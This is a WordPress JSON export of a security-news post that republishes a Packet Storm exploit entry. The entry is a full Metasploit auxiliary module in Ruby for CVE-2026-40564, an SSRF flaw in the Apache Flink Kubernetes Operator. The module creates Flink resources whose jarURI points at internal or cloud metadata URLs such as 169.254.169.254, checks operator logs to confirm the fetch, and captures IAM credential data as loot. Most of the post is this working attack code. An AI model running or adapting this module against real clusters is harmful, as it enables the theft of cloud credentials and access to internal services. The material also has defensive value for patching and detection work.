{"id":63184,"date":"2026-06-16T11:46:43","date_gmt":"2026-06-16T11:46:43","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=63184"},"modified":"2026-06-16T11:46:43","modified_gmt":"2026-06-16T11:46:43","slug":"apache-flink-kubernetes-operator-1140-server-side-request-forgery","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=63184","title":{"rendered":"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-16T15:59:23&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module to demonstrate a service-side request forgery vulnerability in Apache Flink Kubernetes Operator version 1.14.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223516&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-40564&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Apache Flink Kubernetes Operator 1.14.0 SSRF Exploit Module                                                      |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/flink.apache.org\/                                                                                        |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  This is a Metasploit auxiliary module for CVE-2026-40564, a Server-Side Request Forgery (SSRF) vulnerability in the Apache Flink Kubernetes Operator\\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Auxiliary::Scanner\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Apache Flink Kubernetes Operator SSRF (CVE-2026-40564)&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              A Server-Side Request Forgery (SSRF) vulnerability exists in the Apache\\n              Flink Kubernetes Operator versions 1.14.0 through 1.15-SNAPSHOT (as of\\n              2026-04-09). The operator does not validate the `spec.job.jarURI` field\\n              on FlinkSessionJob or FlinkDeployment resources. Anyone who can create\\n              these resources can set the jarURI to any URL, including internal services,\\n              cloud metadata endpoints, or filesystem paths.\\n    \\n              When the operator reconciles the resource, it fetches the URL from inside\\n              its own pod, enabling attackers to:\\n              &#8211; Read cloud instance metadata (AWS\/GCE\/Azure IAM credentials)\\n              &#8211; Access internal cluster services\\n              &#8211; Read local files via file:\/\/ scheme\\n              &#8211; Scan internal ports\\n    \\n              This module provides detection and exploitation capabilities for this\\n              SSRF vulnerability.\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-40564&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/lists.apache.org\/thread\/o1b3c08boc8fc9zw9qff5wsd3oc0l6sw&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/flink.apache.org\/2026\/05\/28\/flink-kubernetes-operator-ssrf-cve-2026-40564\/&#8217;]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-05-28&#8217;,\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n            }\\n          )\\n        )\\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base Kubernetes API path&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;NAMESPACE&#8217;, [false, &#8216;Kubernetes namespace&#8217;, &#8216;default&#8217;]),\\n          OptString.new(&#8216;OPERATOR_POD&#8217;, [false, &#8216;Operator pod name (auto-detected if not set)&#8217;]),\\n          OptString.new(&#8216;SSRF_URL&#8217;, [true, &#8216;Target URL for SSRF (e.g., http:\/\/169.254.169.254\/latest\/meta-data\/)&#8217;]),\\n          OptString.new(&#8216;RESOURCE_NAME&#8217;, [false, &#8216;FlinkSessionJob resource name&#8217;, &#8216;ssrf-exploit&#8217;]),\\n          OptString.new(&#8216;BEARER_TOKEN&#8217;, [false, &#8216;Kubernetes API bearer token&#8217;]),\\n          OptBool.new(&#8216;USE_SESSION_CLUSTER&#8217;, [true, &#8216;Use FlinkSessionJob instead of FlinkDeployment&#8217;, true]),\\n          OptInt.new(&#8216;TIMEOUT&#8217;, [false, &#8216;HTTP request timeout&#8217;, 30])\\n        ])\\n      end\\n    \\n      def k8s_api_url\\n        \\&#8221;https:\/\/#{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}\\&#8221;\\n      end\\n    \\n      def k8s_headers\\n        headers = { &#8216;Content-Type&#8217; =\\u003e &#8216;application\/json&#8217; }\\n    \\n        if datastore[&#8216;BEARER_TOKEN&#8217;] \\u0026\\u0026 !datastore[&#8216;BEARER_TOKEN&#8217;].empty?\\n          headers[&#8216;Authorization&#8217;] = \\&#8221;Bearer #{datastore[&#8216;BEARER_TOKEN&#8217;]}\\&#8221;\\n        end\\n        \\n        headers\\n      end\\n      def get_operator_pod\\n        namespace = datastore[&#8216;NAMESPACE&#8217;]\\n        url = \\&#8221;#{k8s_api_url}\/api\/v1\/namespaces\/#{namespace}\/pods\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 200\\n          begin\\n            pods = JSON.parse(res.body)\\n            pods[&#8216;items&#8217;].each do |pod|\\n              if pod[&#8216;metadata&#8217;][&#8216;name&#8217;] =~ \/flink-kubernetes-operator\/\\n                operator_pod = pod[&#8216;metadata&#8217;][&#8216;name&#8217;]\\n                print_good(\\&#8221;Found operator pod: #{operator_pod}\\&#8221;)\\n                return operator_pod\\n              end\\n            end\\n          rescue JSON::ParserError\\n            print_error(\\&#8221;Failed to parse pods response\\&#8221;)\\n          end\\n        end\\n        nil\\n      end\\n      def create_flink_session_job(resource_name, namespace, jar_uri)\\n        print_status(\\&#8221;Creating FlinkSessionJob resource: #{resource_name}\\&#8221;)\\n        session_job = {\\n          apiVersion: \\&#8221;flink.apache.org\/v1beta1\\&#8221;,\\n          kind: \\&#8221;FlinkSessionJob\\&#8221;,\\n          metadata: {\\n            name: resource_name,\\n            namespace: namespace\\n          },\\n          spec: {\\n            job: {\\n              jarURI: jar_uri,\\n              parallelism: 1,\\n              upgradeMode: \\&#8221;stateless\\&#8221;\\n            },\\n            flinkConfiguration: {},\\n            jobManager: {},\\n            taskManager: {}\\n          }\\n        }\\n        url = \\&#8221;#{k8s_api_url}\/apis\/flink.apache.org\/v1beta1\/namespaces\/#{namespace}\/flinksessionjobs\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;data&#8217; =\\u003e session_job.to_json,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 201\\n          print_good(\\&#8221;FlinkSessionJob created successfully\\&#8221;)\\n          return true\\n        else\\n          print_error(\\&#8221;Failed to create FlinkSessionJob: HTTP #{res\\u0026.code}\\&#8221;)\\n          return false\\n        end\\n      end\\n      def create_flink_deployment(resource_name, namespace, jar_uri)\\n        print_status(\\&#8221;Creating FlinkDeployment resource: #{resource_name}\\&#8221;)\\n        deployment = {\\n          apiVersion: \\&#8221;flink.apache.org\/v1beta1\\&#8221;,\\n          kind: \\&#8221;FlinkDeployment\\&#8221;,\\n          metadata: {\\n            name: resource_name,\\n            namespace: namespace\\n          },\\n          spec: {\\n            flinkVersion: \\&#8221;v1_17\\&#8221;,\\n            flinkConfiguration: {},\\n            jobManager: {},\\n            taskManager: {},\\n            job: {\\n              jarURI: jar_uri,\\n              parallelism: 1,\\n              upgradeMode: \\&#8221;stateless\\&#8221;\\n            }\\n          }\\n        }\\n        \\n        url = \\&#8221;#{k8s_api_url}\/apis\/flink.apache.org\/v1beta1\/namespaces\/#{namespace}\/flinkdeployments\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;data&#8217; =\\u003e deployment.to_json,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        \\n        if res \\u0026\\u0026 res.code == 201\\n          print_good(\\&#8221;FlinkDeployment created successfully\\&#8221;)\\n          return true\\n        else\\n          print_error(\\&#8221;Failed to create FlinkDeployment: HTTP #{res\\u0026.code}\\&#8221;)\\n          return false\\n        end\\n      end\\n    \\n      def get_resource_status(resource_name, namespace)\\n        resource_type = datastore[&#8216;USE_SESSION_CLUSTER&#8217;] ? &#8216;flinksessionjobs&#8217; : &#8216;flinkdeployments&#8217;\\n        url = \\&#8221;#{k8s_api_url}\/apis\/flink.apache.org\/v1beta1\/namespaces\/#{namespace}\/#{resource_type}\/#{resource_name}\\&#8221;\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 200\\n          begin\\n            return JSON.parse(res.body)\\n          rescue JSON::ParserError\\n            return nil\\n          end\\n        end\\n        nil\\n      end\\n      def get_operator_logs(pod_name, namespace)\\n        url = \\&#8221;#{k8s_api_url}\/api\/v1\/namespaces\/#{namespace}\/pods\/#{pod_name}\/log\\&#8221;\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 res.code == 200\\n          return res.body\\n        end\\n    \\n        nil\\n      end\\n      def check_ssrf_in_logs(logs, target_url)\\n        if logs \\u0026\\u0026 logs.include?(&#8216;HttpArtifactFetcher.fetch&#8217;) \\u0026\\u0026 logs.include?(target_url)\\n          print_good(\\&#8221;SSRF confirmed in operator logs\\&#8221;)\\n          return true\\n        end\\n        false\\n      end\\n      def delete_resource(resource_name, namespace)\\n        resource_type = datastore[&#8216;USE_SESSION_CLUSTER&#8217;] ? &#8216;flinksessionjobs&#8217; : &#8216;flinkdeployments&#8217;\\n        url = \\&#8221;#{k8s_api_url}\/apis\/flink.apache.org\/v1beta1\/namespaces\/#{namespace}\/#{resource_type}\/#{resource_name}\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;DELETE&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        if res \\u0026\\u0026 [200, 202, 204].include?(res.code)\\n          print_good(\\&#8221;Resource deleted successfully\\&#8221;)\\n          return true\\n        else\\n          print_warning(\\&#8221;Failed to delete resource: HTTP #{res\\u0026.code}\\&#8221;)\\n          return false\\n        end\\n      end\\n      def extract_metadata_response(response_body)\\n        if response_body \\u0026\\u0026 !response_body.empty?\\n          print_good(\\&#8221;SSRF response received:\\&#8221;)\\n          print_line(response_body[0..1000])\\n    \\n          if response_body.include?(&#8216;iam&#8217;) || response_body.include?(&#8216;security-credentials&#8217;)\\n            print_good(\\&#8221;Potential IAM credentials detected!\\&#8221;)\\n            role_match = response_body.match(\/([a-zA-Z0-9\\\\-_]+)\/)\\n            if role_match\\n              print_status(\\&#8221;IAM Role detected: #{role_match[1]}\\&#8221;)\\n            end\\n          end\\n          return true\\n        end\\n        false\\n      end\\n      def cleanup(resource_name, namespace)\\n        print_status(\\&#8221;Cleaning up resources&#8230;\\&#8221;)\\n        delete_resource(resource_name, namespace)\\n      end\\n      def check_permissions(namespace)\\n        url = \\&#8221;#{k8s_api_url}\/apis\/flink.apache.org\/v1beta1\/namespaces\/#{namespace}\/flinksessionjobs\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;data&#8217; =\\u003e {}.to_json,  # Empty body to test permissions\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        \\n        if res \\u0026\\u0026 (res.code == 201 || res.code == 403)\\n          if res.code == 403\\n            print_error(\\&#8221;Insufficient permissions to create Flink resources\\&#8221;)\\n            return false\\n          else\\n            print_good(\\&#8221;Sufficient permissions to create Flink resources\\&#8221;)\\n            return true\\n          end\\n        end\\n        \\n        print_warning(\\&#8221;Could not determine permissions\\&#8221;)\\n        true  \\n      end\\n    \\n      def run_host(ip)\\n        print_status(\\&#8221;CVE-2026-40564 &#8211; Apache Flink Kubernetes Operator SSRF\\&#8221;)\\n        print_status(\\&#8221;Target: #{peer}\\&#8221;)\\n        print_status(\\&#8221;SSRF Target URL: #{datastore[&#8216;SSRF_URL&#8217;]}\\&#8221;)\\n        \\n        namespace = datastore[&#8216;NAMESPACE&#8217;]\\n        resource_name = \\&#8221;#{datastore[&#8216;RESOURCE_NAME&#8217;]}-#{Rex::Text.rand_text_alpha_lower(6)}\\&#8221;\\n    \\n        print_status(\\&#8221;Checking Kubernetes API connectivity&#8230;\\&#8221;)\\n        version_url = \\&#8221;#{k8s_api_url}\/version\\&#8221;\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e version_url,\\n          &#8216;headers&#8217; =\\u003e k8s_headers,\\n          &#8216;ssl&#8217; =\\u003e true\\n        )\\n        \\n        unless res \\u0026\\u0026 res.code == 200\\n          print_error(\\&#8221;Cannot connect to Kubernetes API. Check RHOST, RPORT, and credentials.\\&#8221;)\\n          return\\n        end\\n        \\n        print_good(\\&#8221;Connected to Kubernetes API\\&#8221;)\\n    \\n        unless check_permissions(namespace)\\n          print_error(\\&#8221;Insufficient permissions to exploit SSRF\\&#8221;)\\n          return\\n        end\\n    \\n        print_status(\\&#8221;Creating malicious Flink resource&#8230;\\&#8221;)\\n        \\n        if datastore[&#8216;USE_SESSION_CLUSTER&#8217;]\\n          success = create_flink_session_job(resource_name, namespace, datastore[&#8216;SSRF_URL&#8217;])\\n        else\\n          success = create_flink_deployment(resource_name, namespace, datastore[&#8216;SSRF_URL&#8217;])\\n        end\\n        \\n        unless success\\n          print_error(\\&#8221;Failed to create malicious resource\\&#8221;)\\n          return\\n        end\\n    \\n        print_status(\\&#8221;Waiting for operator reconciliation (15 seconds)&#8230;\\&#8221;)\\n        Rex.sleep(15)\\n    \\n        status = get_resource_status(resource_name, namespace)\\n        \\n        if status \\u0026\\u0026 status[&#8216;status&#8217;]\\n          print_status(\\&#8221;Resource status: #{status[&#8216;status&#8217;].to_json[0..200]}\\&#8221;)\\n    \\n          if status[&#8216;status&#8217;].to_s.include?(&#8216;Failed to fetch&#8217;) ||\\n             status[&#8216;status&#8217;].to_s.include?(&#8216;Connection refused&#8217;) ||\\n             status[&#8216;status&#8217;].to_s.include?(&#8216;connect timed out&#8217;)\\n            print_good(\\&#8221;SSRF attempt confirmed &#8211; operator tried to fetch the URL\\&#8221;)\\n          end\\n        end\\n    \\n        operator_pod = datastore[&#8216;OPERATOR_POD&#8217;]\\n        if operator_pod.nil? || operator_pod.empty?\\n          operator_pod = get_operator_pod\\n        end\\n        \\n        if operator_pod\\n          print_status(\\&#8221;Fetching operator logs&#8230;\\&#8221;)\\n          logs = get_operator_logs(operator_pod, namespace)\\n          \\n          if logs \\u0026\\u0026 logs.include?(datastore[&#8216;SSRF_URL&#8217;])\\n            print_good(\\&#8221;SSRF CONFIRMED &#8211; operator fetched the URL!\\&#8221;)\\n    \\n            if logs =~ \/GET.*?#{Regexp.escape(datastore[&#8216;SSRF_URL&#8217;])}\/\\n              print_good(\\&#8221;HTTP GET request to #{datastore[&#8216;SSRF_URL&#8217;]} found in logs\\&#8221;)\\n            end\\n            \\n            if logs =~ \/HttpArtifactFetcher\\\\.fetch\/\\n              print_good(\\&#8221;HttpArtifactFetcher call confirmed\\&#8221;)\\n            end\\n          end\\n        end\\n    \\n        if datastore[&#8216;SSRF_URL&#8217;].include?(&#8216;169.254.169.254&#8217;) || datastore[&#8216;SSRF_URL&#8217;].include?(&#8216;metadata&#8217;)\\n          print_status(\\&#8221;Attempting to read AWS metadata response&#8230;\\&#8221;)\\n    \\n          metadata_url = datastore[&#8216;SSRF_URL&#8217;]\\n          if !metadata_url.end_with?(&#8216;\/&#8217;)\\n            metadata_url = metadata_url + &#8216;\/&#8217;\\n          end\\n          \\n          if datastore[&#8216;USE_SESSION_CLUSTER&#8217;]\\n            create_flink_session_job(\\&#8221;#{resource_name}-metadata\\&#8221;, namespace, metadata_url)\\n          else\\n            create_flink_deployment(\\&#8221;#{resource_name}-metadata\\&#8221;, namespace, metadata_url)\\n          end\\n          \\n          Rex.sleep(10)\\n    \\n          metadata_status = get_resource_status(\\&#8221;#{resource_name}-metadata\\&#8221;, namespace)\\n          \\n          if metadata_status \\u0026\\u0026 metadata_status[&#8216;status&#8217;]\\n            status_text = metadata_status[&#8216;status&#8217;].to_s\\n            if status_text.include?(&#8216;iam&#8217;) || status_text.include?(&#8216;security-credentials&#8217;)\\n              print_good(\\&#8221;Extracted metadata:\\&#8221;)\\n              print_line(status_text[0..500])\\n    \\n              store_loot(\\n                &#8216;flink.ssrf.metadata&#8217;,\\n                &#8216;text\/plain&#8217;,\\n                ip,\\n                status_text,\\n                &#8216;aws_metadata.txt&#8217;,\\n                &#8216;AWS metadata captured via SSRF&#8217;\\n              )\\n            end\\n          end\\n    \\n          if datastore[&#8216;USE_SESSION_CLUSTER&#8217;]\\n            delete_resource(\\&#8221;#{resource_name}-metadata\\&#8221;, namespace)\\n          else\\n            delete_resource(\\&#8221;#{resource_name}-metadata\\&#8221;, namespace)\\n          end\\n        end\\n    \\n        report_vuln(\\n          host: ip,\\n          port: datastore[&#8216;RPORT&#8217;],\\n          name: name,\\n          refs: references,\\n          info: \\&#8221;Apache Flink Kubernetes Operator SSRF (CVE-2026-40564) &#8211; Able to fetch #{datastore[&#8216;SSRF_URL&#8217;]}\\&#8221;\\n        )\\n        if datastore[&#8216;Cleanup&#8217;]\\n          cleanup(resource_name, namespace)\\n        else\\n          print_status(\\&#8221;Resource #{resource_name} left for manual inspection\\&#8221;)\\n          print_status(\\&#8221;Clean up with: kubectl delete -n #{namespace} #{datastore[&#8216;USE_SESSION_CLUSTER&#8217;] ? &#8216;flinksessionjob&#8217; : &#8216;flinkdeployment&#8217;} #{resource_name}\\&#8221;)\\n        end\\n        \\n        print_good(\\&#8221;SSRF exploitation completed\\&#8221;)\\n      end\\n    end\\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223516&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223516\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-16T15:59:23&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module to demonstrate a service-side request forgery vulnerability in Apache Flink Kubernetes Operator version 1.14.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-63184","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=63184\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-16T15:59:23&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module to demonstrate a service-side request forgery vulnerability in Apache Flink Kubernetes Operator version 1.14.0&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=63184\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-16T11:46:43+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516\",\"datePublished\":\"2026-06-16T11:46:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184\"},\"wordCount\":2246,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.5\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=63184#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184\",\"name\":\"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-16T11:46:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=63184\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=63184#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Apache Flink Kubernetes Operator 1.14.0 Server-Side Request Forgery_PACKETSTORM:223516\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 